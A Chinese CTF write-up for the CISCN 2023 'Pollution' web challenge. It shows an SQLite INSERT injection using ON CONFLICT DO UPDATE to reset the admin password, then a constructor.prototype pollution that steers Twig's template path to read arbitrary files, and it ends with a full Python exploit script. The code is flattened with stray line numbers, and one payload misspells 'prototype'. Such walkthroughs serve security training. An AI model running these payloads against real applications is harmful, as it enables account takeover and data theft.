2023_CISCN_Pollution 开局经典登录框,一顿瞎试。查看源码可以猜测是使用sql注入,后来主办方也是提醒了在注册处存在sql注入。
经过注册登录测试可以猜到第一步是需要获得admin的密码。
在app.js
里可以看到下列sql语句
1 2 3 4 5 db.all ("SELECT * FROM users WHERE username=? AND password=?" ,[username,password],function (err,result ) db.get ("SELECT * FROM users WHERE username=?" , [username], function (err, row )let query = `INSERT INTO users (username, password) VALUES ('${username} ', '${utils.md5(password)} ')`
可以看到前两句都进行了预编译,所以无法进行注入,我们把重点放到第三句上。非常简单的单引号闭合,对于我来说难点就在这里使用的是SQLite进行注入,当时在比赛的时候还没接触过这类的sql注入。。。用sqlmap硬跑没跑出来。
完整sql查询代码如下
1 2 3 4 5 6 7 8 let query = `INSERT INTO users (username, password) VALUES ('${username} ', '${utils.md5(password)} ')` ; db.run (query,function (err ){ if (err){ console .error (err) return res.send ("<script>alert('Error!');window.location.href='/register'</script>" ); }else { return res.send ("<script>alert('Register successed');window.location.href='/login'</script>" ); }
可以看到对于语句执行错误或者成功会统一输出Error
或者success
,所以这里没办法使用报错注入或者直接联合查询拖库等查看admin密码。
这里的突破点是直接使用UPDATE语句来更新admin的密码。
经过测试常规的UPDATE语句没办法直接更新用户的密码,这里使用sqllite里的另一句更新数据的语句
1 ... ..on CONFLICT DO ... ..
所以构造如下注入语句
1 admin ', ' md5(123456 )') on CONFLICT DO UPDATE password = ' md5(123456 )' --+
据此可以使用python写出如下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def SQLinjection (url ): url=f'{url} /register' passwd='123456' hash =passwd.encode('UTF-8' ) data={ "username" :f"admin','{md5.md5(hash ).hexdigest()} ') on CONFLICT DO UPDATE SET password='{md5.md5(hash ).hexdigest()} ' --+" , "password" :"123456" } res=s.post(url=url,data=data) if res.status_code == 200 : print ("injected successfully!\n" ,res.content) else : print ("injected failed" )if __name__ == '__main__' : url="http://127.0.0.1:80" SQLinjection(url)
注入成功后就进入/admin
页面了,然而web页面什么都没有。开始审计源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 app.all ("/admin" ,utils.checkIsAdmin ,function (req,res,next ){ if (req.method == "GET" ){ return res.render ('home' ,{'username' :req.session .username }) } if (req.method == "POST" ){ var Info ={ "username" :"admin" , "message" :"Try2HackMe!" } try { utils.extend (Info , req.body ); return res.render ('admin' , {"username" : Info .username , "message" : Info .message }); }catch (err){ return res.send ("<script>alert('Error!');window.location.href='/admin'</script>" ); } } })
定位到utils.extend
在utils.js
中查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static extend (target ) { for (var i = 1 ; i < arguments .length ; i++) { var source = arguments [i] for (var key in source) { if (key === '__proto__' ) { return ; } if (hasOwnProperty.call (source, key)) { if (key in source && key in target) { Utils .extend (target[key], source[key]) } else { target[key] = source[key] } } } } return target }
很典型的递归调用合并函数。至此可以判断下一步的利用点是原型链污染。
同时可以看到在__proto__
属性被过滤了,这里使用constructor.prototype
进行绕过。
现在把重点放在entxend
函数后面的render
函数里面。设置debug进行逐行审计。
1 2 3 4 5 6 utils .js-> render()response .js-> app.render()application -> view.render()twig .js-> Twig.exports.twig()twig .js-> Twig.Templates.loadRemote()twig .js-> Twig.Templates.loadRemote()
首先是进入response.js里的res.render()函数,这里的操作就是对一些数据进行了赋值。
接着进入到了application.js里的app.render()里,也是对一些数据进行了赋值。
接着进入到了application.js里的this.set(path)
在view.js里设置了fileName值为变量name的值,即admin
接着在这里
1 2 3 4 5 6 7 8 if (!this .ext ) { this .ext = this .defaultEngine [0 ] !== '.' ? '.' + this .defaultEngine : this .defaultEngine ; fileName += this .ext ; }
fileName被设置为了admin.twig
接着还是在view.js里会调用lookup方法,根据文件名admin.twig
查找并设置path
值
1 2 this .path = this .lookup (fileName);
然后又跳到了application.js里的view.render()里面
接着到twig.js里的Twig.exports.renderFile()
,然后是Twig.exports.twig(params),这里的作用是加载渲染twig模板并输出。
进入Twig.exports.renderFile()
后显示对params的各个参数进行判断
由于在上面我们知道了path值已经被设置为了admin.twig
所以这里会进入判断,同时要注意这里传入的params对象已经没有了path属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 if (params.path !== undefined ) { return Twig .Templates .loadRemote (params.path , { id : id, method : 'fs' , parser : params.parser || 'twig' , base : params.base , module : params.module , precompiled : params.precompiled , async : params.async , options : options }, params.load , params.error ); } };
接着是loadRemote
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Twig .Templates .loadRemote = function (location, params, callback, errorCallback ) { var id = typeof params.id === 'undefined' ? location : params.id ; var cached = Twig .Templates .registry [id]; if (Twig .cache && typeof cached !== 'undefined' ) { if (typeof callback === 'function' ) { callback (cached); } return cached; } params.parser = params.parser || 'twig' ; params.id = id; if (typeof params.async === 'undefined' ) { params.async = true ; } var loader = this .loaders [params.method ] || this .loaders .fs ; return loader.call (this , location, params, callback, errorCallback); };
这边是通过params的id来加载模版。location变量正好是上面传入的params.path
,且params.id为非空,所以这里是通过params.id
来加载模板。而在上面的代码中,id的值也正好是path的值。
接着会通过call函数会调用到registerLoader
函数
registerLoader
函数我们可以关注下面这一条
1 2 3 4 5 6 7 if (precompiled === true ) { data = JSON .parse (data); } params.data = data; params.path = params.path || location;
因为在之前params的path属性已经被销毁,这里默认是location的路径。所以这里可以推测出一条利用链,通过原型链污染来控制path属性从而读取任意文件。
所以原型链可以按如下格式进行构造
1 { "constructor" : { "protoytpe" : { "path" : "flag路径" } } }
根据上面的分析可以编写以下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ![2 ](images/2. png)import requestsimport hashlib as md5import json s=requests.session() url="http://127.0.0.1" def SQLinjection (url ): url=f'{url} /register' passwd='123456' hash =passwd.encode('UTF-8' ) data={ "username" :f"admin','{md5.md5(hash ).hexdigest()} ') on CONFLICT DO UPDATE SET password='{md5.md5(hash ).hexdigest()} ' --+" , "password" :"123456" } res=s.post(url=url,data=data) if res.status_code == 200 : print ("injected successfully!\n" ,res.content) else : print ("injected failed" )if __name__ == '__main__' : url="http://127.0.0.1:80" SQLinjection(url)def Login (url ): url=f'{url} /login' data={ "username" :"admin" , "password" :"123456" } res=s.post(url=url,data=data) if res.status_code == 200 : print ("Login successful" ) else : print ("Login failed" )def pollution (url ): url=f'{url} /admin' data={"constructor" :{"prototype" :{"path" :"/Users/sammy/Desktop/临时题目文件夹/pollute/flag.txt" }} } data=json.dumps(data) res=s.post(url=url,data=data,headers={"Content-Type" :"application/json" }) if res.status_code == 200 : print ("polluted successfully\n" ,res.content) else : print ("polluted failed\n" )if __name__ == '__main__' : SQLinjection(url) Login(url) pollution(url)
获得flag
参考文章:kento师傅的复现wp